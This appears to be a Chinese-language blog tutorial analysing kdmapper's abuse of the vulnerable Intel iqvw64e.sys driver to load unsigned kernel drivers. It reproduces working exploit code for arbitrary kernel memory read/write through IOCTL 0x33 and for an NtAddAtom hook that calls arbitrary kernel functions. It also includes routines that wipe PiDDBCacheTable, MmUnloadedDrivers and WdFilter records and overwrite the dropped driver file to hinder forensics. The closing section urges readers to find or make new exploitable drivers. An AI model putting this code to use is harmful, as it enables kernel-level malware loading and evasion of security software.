无”痕”加载驱动模块之漏驱利用(下)

回顾傀儡驱动加载致命缺点

x64上微软增加了驱动签名机制,我们的傀儡驱动依旧需要签名,虽然泄露的sha1签名目测来看能用到微软倒闭,或者花钱买一张白签名(干坏事会被吊销)但是依然存在问题,如果能让微软的白驱动“帮忙”加载我们的功能驱动就好了。

kdmapper漏驱利用

早期驱动开发安全意识不足,导致很多微软或第三方常用驱动存在可利用漏洞,像知名的永恒之蓝漏洞或者罗技驱动利用。

kdmapper也是如此

项目:https://github.com/TheCruZ/kdmapper

无

kdmapper加载驱动原理与傀儡驱动一致都是内存加载,不过傀儡驱动换成了漏驱自己,自带白签。

项目功能与漏驱解析

1.初见漏驱

漏驱为iqvw64e.sys是英特尔(Intel)网卡设备的一个驱动程序文件,被放在资源中,我们把它扒出来进行分析。

无

无

标准的驱动入口,没有任何壳或者加密,就差给pdb了。

无

创建设备链接,记住名字等下要在3环建立连接

无

无

注册了派遣函数对应

DriverObject->MajorFunction[IRP_MJ_CREATE] = CreateDriver;

DriverObject->MajorFunction[IRP_MJ_CLOSE] = CloseDriver;

DriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL] = ControlDriver;

我们利用的函数在三个中

无

这里有四个分支,项目中表明了是利用第一个,我们就不挨个分析了

无

无

进去第一个函数,根据上下文这里可以猜测a1是一个结构体指针

无

2.利用漏驱拷贝和读写任意地址

	bool MemCopy(HANDLE device_handle, uint64_t destination, uint64_t source, uint64_t size);
bool ReadMemory(HANDLE device_handle, uint64_t address, void* buffer, uint64_t size);

ReadMemory中调用了MemCopy

bool intel_driver::MemCopy(HANDLE device_handle, uint64_t destination, uint64_t source, uint64_t size) {
	if (!destination || !source || !size)
		return 0;

	COPY_MEMORY_BUFFER_INFO copy_memory_buffer = { 0 };

	copy_memory_buffer.case_number = 0x33;
	copy_memory_buffer.source = source;
	copy_memory_buffer.destination = destination;
	copy_memory_buffer.length = size;

	DWORD bytes_returned = 0;
	return DeviceIoControl(device_handle, ioctl1, &copy_memory_buffer, sizeof(copy_memory_buffer), nullptr, 0, &bytes_returned, nullptr);
}

无

无

对应漏驱中的0x33我们可以看到就是一个简单的拷贝内存函数,利用此函数将想要读的内容拷贝到缓冲区。(没想到这么一个小小的内存拷贝造成了任意地址读写的漏洞),读和写就是反着来,互换下缓冲区地址。

同理推出结构体a1+16 是要读的地址,a1+24是缓冲区地址,a1+32是要读的长度

typedef struct _FILL_MEMORY_BUFFER_INFO
{
	uint64_t case_number;
	uint64_t reserved1;
	uint32_t value;
	uint32_t reserved2;
	uint64_t destination;
	uint64_t length;
}FILL_MEMORY_BUFFER_INFO, * PFILL_MEMORY_BUFFER_INFO;

漏驱中还有其他可以直接调用的内核函数不过和主线无模块加载关系不紧密,本文就不放了

3.hook函数以调用内核函数

这里是分析的申请内存函数的调用,其他函数同理

uint64_t AllocatePool(HANDLE device_handle, nt::POOL_TYPE pool_type, uint64_t size);

uint64_t intel_driver::AllocatePool(HANDLE device_handle, nt::POOL_TYPE pool_type, uint64_t size) {
	if (!size)
		return 0;

	static uint64_t kernel_ExAllocatePool = GetKernelModuleExport(device_handle, intel_driver::ntoskrnlAddr, "ExAllocatePoolWithTag");

	if (!kernel_ExAllocatePool) {
		Log(L"[!] Failed to find ExAllocatePool" << std::endl);
		return 0;
	}

	uint64_t allocated_pool = 0;

	if (!CallKernelFunction(device_handle, &allocated_pool, kernel_ExAllocatePool, pool_type, size, 'BwtE')) //Changed pool tag since an extremely meme checking diff between allocation size and average for detection....
		return 0;

	return allocated_pool;
}

这里先自写了获取内核导出函数,再进行调用

uint64_t intel_driver::GetKernelModuleExport(HANDLE device_handle, uint64_t kernel_module_base, const std::string& function_name) {
	if (!kernel_module_base)
		return 0;

	IMAGE_DOS_HEADER dos_header = { 0 };
	IMAGE_NT_HEADERS64 nt_headers = { 0 };

	if (!ReadMemory(device_handle, kernel_module_base, &dos_header, sizeof(dos_header)) || dos_header.e_magic != IMAGE_DOS_SIGNATURE ||
		!ReadMemory(device_handle, kernel_module_base + dos_header.e_lfanew, &nt_headers, sizeof(nt_headers)) || nt_headers.Signature != IMAGE_NT_SIGNATURE)
		return 0;

	const auto export_base = nt_headers.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress;
	const auto export_base_size = nt_headers.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].Size;

	if (!export_base || !export_base_size)
		return 0;

	const auto export_data = reinterpret_cast<PIMAGE_EXPORT_DIRECTORY>(VirtualAlloc(nullptr, export_base_size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE));

	if (!ReadMemory(device_handle, kernel_module_base + export_base, export_data, export_base_size))
	{
		VirtualFree(export_data, 0, MEM_RELEASE);
		return 0;
	}

	const auto delta = reinterpret_cast<uint64_t>(export_data) - export_base;

	const auto name_table = reinterpret_cast<uint32_t*>(export_data->AddressOfNames + delta);
	const auto ordinal_table = reinterpret_cast<uint16_t*>(export_data->AddressOfNameOrdinals + delta);
	const auto function_table = reinterpret_cast<uint32_t*>(export_data->AddressOfFunctions + delta);

	for (auto i = 0u; i < export_data->NumberOfNames; ++i) {
		const std::string current_function_name = std::string(reinterpret_cast<char*>(name_table[i] + delta));

		if (!_stricmp(current_function_name.c_str(), function_name.c_str())) {
			const auto function_ordinal = ordinal_table[i];
			if (function_table[function_ordinal] <= 0x1000) {
				// Wrong function address?
				return 0;
			}
			const auto function_address = kernel_module_base + function_table[function_ordinal];

			if (function_address >= kernel_module_base + export_base && function_address <= kernel_module_base + export_base + export_base_size) {
				VirtualFree(export_data, 0, MEM_RELEASE);
				return 0; // No forwarded exports on 64bit?
			}

			VirtualFree(export_data, 0, MEM_RELEASE);
			return function_address;
		}
	}

	VirtualFree(export_data, 0, MEM_RELEASE);
	return 0;
}

获取内核导出函数是利用pe解析加上前面的读写漏洞

	template<typename T, typename ...A>
	bool CallKernelFunction(HANDLE device_handle, T* out_result, uint64_t kernel_function_address, const A ...arguments) {
		constexpr auto call_void = std::is_same_v<T, void>;

		//if count of arguments is >4 fail
		static_assert(sizeof...(A) <= 4, "CallKernelFunction: Too many arguments, CallKernelFunction only can be called with 4 or less arguments");

		if constexpr (!call_void) {
			if (!out_result)
				return false;
		}
		else {
			UNREFERENCED_PARAMETER(out_result);
		}

		if (!kernel_function_address)
			return false;

		// Setup function call
		HMODULE ntdll = GetModuleHandleA("ntdll.dll");
		if (ntdll == 0) {
			Log(L"[-] Failed to load ntdll.dll" << std::endl); //never should happens
			return false;
		}

		const auto NtAddAtom = reinterpret_cast<void*>(GetProcAddress(ntdll, "NtAddAtom"));
		if (!NtAddAtom)
		{
			Log(L"[-] Failed to get export ntdll.NtAddAtom" << std::endl);
			return false;
		}

		uint8_t kernel_injected_jmp[] = { 0x48, 0xb8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xff, 0xe0 };
		uint8_t original_kernel_function[sizeof(kernel_injected_jmp)];
		*(uint64_t*)&kernel_injected_jmp[2] = kernel_function_address;

		static uint64_t kernel_NtAddAtom = GetKernelModuleExport(device_handle, intel_driver::ntoskrnlAddr, "NtAddAtom");
		if (!kernel_NtAddAtom) {
			Log(L"[-] Failed to get export ntoskrnl.NtAddAtom" << std::endl);
			return false;
		}

		if (!ReadMemory(device_handle, kernel_NtAddAtom, &original_kernel_function, sizeof(kernel_injected_jmp)))
			return false;

		if (original_kernel_function[0] == kernel_injected_jmp[0] &&
			original_kernel_function[1] == kernel_injected_jmp[1] &&
			original_kernel_function[sizeof(kernel_injected_jmp) - 2] == kernel_injected_jmp[sizeof(kernel_injected_jmp) - 2] &&
			original_kernel_function[sizeof(kernel_injected_jmp) - 1] == kernel_injected_jmp[sizeof(kernel_injected_jmp) - 1]) {
			Log(L"[-] FAILED!: The code was already hooked!! another instance of kdmapper running?!" << std::endl);
			return false;
		}

		// Overwrite the pointer with kernel_function_address
		if (!WriteToReadOnlyMemory(device_handle, kernel_NtAddAtom, &kernel_injected_jmp, sizeof(kernel_injected_jmp)))
			return false;

		// Call function
		if constexpr (!call_void) {
			using FunctionFn = T(__stdcall*)(A...);
			const auto Function = reinterpret_cast<FunctionFn>(NtAddAtom);

			*out_result = Function(arguments...);
		}
		else {
			using FunctionFn = void(__stdcall*)(A...);
			const auto Function = reinterpret_cast<FunctionFn>(NtAddAtom);

			Function(arguments...);
		}

		// Restore the pointer/jmp
		return WriteToReadOnlyMemory(device_handle, kernel_NtAddAtom, original_kernel_function, sizeof(kernel_injected_jmp));
	}

调用函数是,获取了ntdll.dll中的NtAddAtom函数地址(系统调用)并在内核进行hook

mov rax, 0x0

jmp rax

写入了要执行的函数地址,最后执行再恢复原来的字节码。

4.漏驱加载流程

intel_driver::Load 中加载漏驱

创建链接的名字与IDA中看到的一致

	HANDLE result = CreateFileW(L"\\\\.\\Nal", GENERIC_READ | GENERIC_WRITE, 0, nullptr, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
	if (!intel_driver::ClearPiDDBCacheTable(result)) {
		Log(L"[-] Failed to ClearPiDDBCacheTable" << std::endl);
		intel_driver::Unload(result);
		return INVALID_HANDLE_VALUE;
	}

	if (!intel_driver::ClearKernelHashBucketList(result)) {
		Log(L"[-] Failed to ClearKernelHashBucketList" << std::endl);
		intel_driver::Unload(result);
		return INVALID_HANDLE_VALUE;
	}

	if (!intel_driver::ClearMmUnloadedDrivers(result)) {
		Log(L"[!] Failed to ClearMmUnloadedDrivers" << std::endl);
		intel_driver::Unload(result);
		return INVALID_HANDLE_VALUE;
	}

	if (!intel_driver::ClearWdFilterDriverList(result)) {
		Log("[!] Failed to ClearWdFilterDriverList" << std::endl);
		intel_driver::Unload(result);
		return INVALID_HANDLE_VALUE;
	}

这里在清理记录驱动加载和卸载链表中的记录

kdmapper::MapDriver 函数执行功能驱动的加载,也是模拟pe内存拉伸,不过功能用的漏驱功能。

intel_driver::Unload 加载完功能驱动立马卸载并清理注册表

这里有个有意思的点,为了防止文件被恢复,用生成的随机数覆盖了文件

	std::ofstream file_ofstream(driver_path.c_str(), std::ios_base::out | std::ios_base::binary);
	int newFileLen = sizeof(intel_driver_resource::driver) + (((long long)rand()*(long long)rand()) % 2000000 + 1000);
	BYTE* randomData = new BYTE[newFileLen];
	for (size_t i = 0; i < newFileLen; i++) {
		randomData[i] = (BYTE)(rand() % 255);
	}
	if (!file_ofstream.write((char*)randomData, newFileLen)) {
		Log(L"[!] Error dumping shit inside the disk" << std::endl);
	}
	else {
		Log(L"[+] Vul driver data destroyed before unlink" << std::endl);
	}
	file_ofstream.close();
	delete[] randomData;

	//unlink the file
	if (_wremove(driver_path.c_str()) != 0)
		return false;

漏驱加载和卸载分别调用如下函数

	extern "C" NTSTATUS NtLoadDriver(PUNICODE_STRING DriverServiceName);
  extern "C" NTSTATUS NtUnloadDriver(PUNICODE_STRING DriverServiceName);

5.总结

1.项目大致如此,篇幅原因很多细节没来得及展示,自行下载项目学习。

2.如果单单从无签名加载驱动上看,与"上"的技术并无本质区别。但经过分析此项目,你会发现对漏洞利用的巧妙与学习扩展思路。

低版本系统漏驱加载演示

无

无

6.未来与展望

无

无

在最新的win11 22h2上微软终于把这个万人骑的漏驱签名拉黑(遥遥落后于反作弊和杀软)

那么该怎么办呢(思考)?

1.替换成没被拉黑的签名(这样就没意义了与“上”中的傀儡驱动并无差别)

2.windows签名拉黑在本地,不过加了保护。

3.发展新的可利用的漏驱动(随着xxxxx安全意识提高,可利用的越来越难找)

4.自己制造漏驱

5.各位自己发挥吧,找到了记得开源。

驱动文件

1765377030-iqvw64e